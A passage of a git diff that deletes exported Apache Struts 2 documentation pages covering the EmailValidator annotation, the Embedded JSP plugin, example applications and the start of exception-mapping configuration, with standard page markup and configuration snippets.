-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>EmailValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="emailvalidator-annotation.html">EmailValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">EmailValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14073">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14073">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14073">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14073">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14073">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14073">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This validator checks that a field is a valid e-mail address if it contains a non-empty String.</p>
-
-<h2 id="EmailValidatorAnnotation-Usage">Usage</h2>
-
-<p></p><p>The annotation must be applied at method level.</p>
-
-<h2 id="EmailValidatorAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">message</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td [...]
-
-<h2 id="EmailValidatorAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@EmailValidator(message = &quot;Default message&quot;, key = &quot;i18n.key&quot;, shortCircuit = true)
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/embedded-jsp-plugin.html b/content/docs/embedded-jsp-plugin.html
deleted file mode 100644
index 11b8d6a..0000000
--- a/content/docs/embedded-jsp-plugin.html
+++ /dev/null
@@ -1,216 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Embedded JSP Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="embedded-jsp-plugin.html">Embedded JSP Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Embedded JSP Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2852037">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2852037">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2852037">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2852037">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2852037">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2852037">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The Embedded JSP plugin allows you to use JSPs from the classpath (from jar files).</p>
-
-<h1 id="EmbeddedJSPPlugin-Introduction">Introduction</h1>
-<p>JSPs are usually served from the file system. Using this plugin you can deploy JSPs inside jar files, which is sometimes desired, like when writing a plugin. </p>
-
-<h2 id="EmbeddedJSPPlugin-Wait...what?">Wait...what?</h2>
-<p>The plugin containes a modified version of Jasper 6, which reads JSPs from the classpath, and generates the java code in memory (no .java file is written). The Java Compiler API is then used to compile the java source code into bytecode (in memory, no .class file is generated), and it is turned into a Servlet, which is cached for future use.</p>
-
-<h2 id="EmbeddedJSPPlugin-Aboutincludes">About includes</h2>
-<p>Because the JSP files are read from the classpath, "includes" work differently than they do from the file system. Assume you want to include "Hello.jsp", when searching for that file in the classpath, multiple files might be found on different jars, like <code>somejar.jar!/Hello.jsp</code> and <code>otherjar.jar!/Hello.jsp</code>. That's why relative paths do not work in this plugin. Instead, create directory structures for the JSPs. For example, given 2 jsps under <code>org/myexample [...]
-
-<p>Who.jsp:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-Hello there, I am the Doctor.
-</pre>
-</div></div>
-<p>Hello.jsp:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;jsp:include page="org/myexample/jsps/Who.jsp" /&gt;
-</pre>
-</div></div>
-<p>Mapping:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
- &lt;package name="example" namespace="/example" extends="embeddedjsp-default"&gt;
-     &lt;action name="HelloWorld" class="example.HelloWorld"&gt;
-         &lt;result type="embeddedJsp"&gt;org/myexample/jsps/Hello.jsp&lt;/result&gt;
-     &lt;/action&gt;
- &lt;/package&gt;
-</pre>
-</div></div>
-
-<h2 id="EmbeddedJSPPlugin-Requirements">Requirements</h2>
-<ol><li>Java 6 or later</li></ol>
-
-
-<h3 id="EmbeddedJSPPlugin-Tomcat">Tomcat</h3>
-<p>Tested with Tomcat 6.0.20.</p>
-
-<h3 id="EmbeddedJSPPlugin-Jetty">Jetty</h3>
-<p>This plugin requires Jetty 7 to work. And the Tomcat libraries must be deployed with the application, adding this to your <code>pom.xml</code> should take care of that: </p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-     &lt;groupId&gt;org.apache.tomcat&lt;/groupId&gt;
-     &lt;artifactId&gt;jasper&lt;/artifactId&gt;
-     &lt;version&gt;6.0.18&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-<p>To use Jetty 7 with the maven plugin add this to your <code>pom.xml</code>:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;build&gt;
-    &lt;plugins&gt;
-        &lt;plugin&gt;
-             &lt;groupId&gt;org.mortbay.jetty&lt;/groupId&gt;
-             &lt;artifactId&gt;jetty-maven-plugin&lt;/artifactId&gt;
-        &lt;/plugin&gt;
-    &lt;/plugins&gt;
-&lt;/build&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/examples.html b/content/docs/examples.html
deleted file mode 100644
index 826e1fc..0000000
--- a/content/docs/examples.html
+++ /dev/null
@@ -1,153 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Examples</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="examples.html">Examples</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Examples</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14272">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14272">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14272">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14272">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14272">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14272">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Struts 2 is based on the WebWork 2 codebase, and so we include links to WW applications here too.</p></div></div><hr><p>&#160;</p><p>Struts2 Examples Apps</p><ul><li>Examples at <a shape="rect" class="external-link" href=" [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/exception-configuration.html b/content/docs/exception-configuration.html
deleted file mode 100644
index 3d913e8..0000000
--- a/content/docs/exception-configuration.html
+++ /dev/null
@@ -1,256 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Exception Configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-elements.html">Configuration Elements</a>&nbsp;&gt;&nbsp;<a href="exception-configuration.html">Exception Configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Exception Configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13987">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13987">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13987">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13987">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13987">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13987">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Exception mappings is a powerful feature for dealing with an Action class that throws an Exception. The core idea is that an Exception thrown during the Action method can be automatically caught and mapped to a predefined Result. This declarative strategy is especially useful for frameworks, like Hibernate and Acegi, that throw RuntimeExceptions.</p>
-
-<p>As with many other parts of the framework, an Interceptor is needed to activate the exception mapping functionality. Below is a snippet from <code>struts-default.xml</code> which has the exception mapping already activated.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>snippet of struts-default.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-...
-&lt;interceptors&gt;
-    ...
-    &lt;interceptor name="exception" class="com.opensymphony.xwork.interceptor.ExceptionMappingInterceptor"/&gt;
-    ...
-&lt;/interceptors&gt;
-
-&lt;interceptor-stack name="defaultStack"&gt;
-    &lt;interceptor-ref name="exception"/&gt;
-    &lt;interceptor-ref name="alias"/&gt;
-    &lt;interceptor-ref name="servlet-config"/&gt;
-    &lt;interceptor-ref name="prepare"/&gt;
-    &lt;interceptor-ref name="i18n"/&gt;
-    &lt;interceptor-ref name="chain"/&gt;
-    &lt;interceptor-ref name="debugging"/&gt;
-    &lt;interceptor-ref name="profiling"/&gt;
-    &lt;interceptor-ref name="scoped-model-driven"/&gt;
-    &lt;interceptor-ref name="model-driven"/&gt;
-    &lt;interceptor-ref name="fileUpload"/&gt;
-    &lt;interceptor-ref name="checkbox"/&gt;
-    &lt;interceptor-ref name="static-params"/&gt;
-    &lt;interceptor-ref name="params"/&gt;
-    &lt;interceptor-ref name="conversionError"/&gt;
-    &lt;interceptor-ref name="validation"&gt;
-        &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-    &lt;interceptor-ref name="workflow"&gt;
